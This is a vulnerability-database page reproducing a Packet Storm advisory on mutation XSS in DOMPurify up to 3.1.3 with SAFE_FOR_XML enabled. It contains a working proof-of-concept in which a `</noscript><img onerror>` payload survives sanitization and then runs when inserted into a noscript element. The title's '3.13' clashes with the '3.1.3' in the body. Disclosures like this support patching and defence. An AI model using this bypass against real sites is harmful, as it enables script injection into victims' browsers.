Lucene search
K

📄 DOMPurify 3.13 Cross Site Scripting

🗓️ 09 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 132 Views

Mutation XSS in DOMPurify up to 3.1.3 enables noscript bypass with SAFE_FOR_XML and arbitrary JS.

Code
=============================================================================================================================================
    | # Title     : DOMPurify ≤ 3.1.3 Mutation XSS via <noscript> Tag Bypass with SAFE_FOR_XML                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://www.npmjs.com/package/dompurify                                                                                     |
    =============================================================================================================================================
    
    [+] Summary    : A Mutation Cross-Site Scripting (mXSS) vulnerability exists in DOMPurify versions ≤ 3.1.3 when the SAFE_FOR_XML configuration is enabled. 
                     Due to improper handling of the </noscript> closing tag during sanitization, a crafted payload can bypass filtering mechanisms. 
    				 The sanitizer processes the input as inert text, while the browser's HTML parser interprets it as executable markup when inserted into a <noscript> context. 
                     This parsing discrepancy allows attackers to inject malicious HTML elements (e.g., <img onerror>), leading to arbitrary JavaScript execution in the victim’s browser.
    			  
    [+] POC   :  
    
    import DOMPurify from 'dompurify';
    
    const payload = `</noscript><img src=x onerror=alert(1)>`;
    
    const config = {
      SAFE_FOR_XML: true
    };
    
    const clean = DOMPurify.sanitize(payload, config);
    
    console.log("Sanitized output:", clean);
    
    const container = document.createElement("div");
    container.innerHTML = `<noscript>${clean}</noscript>`;
    
    document.body.appendChild(container);
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Mar 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
132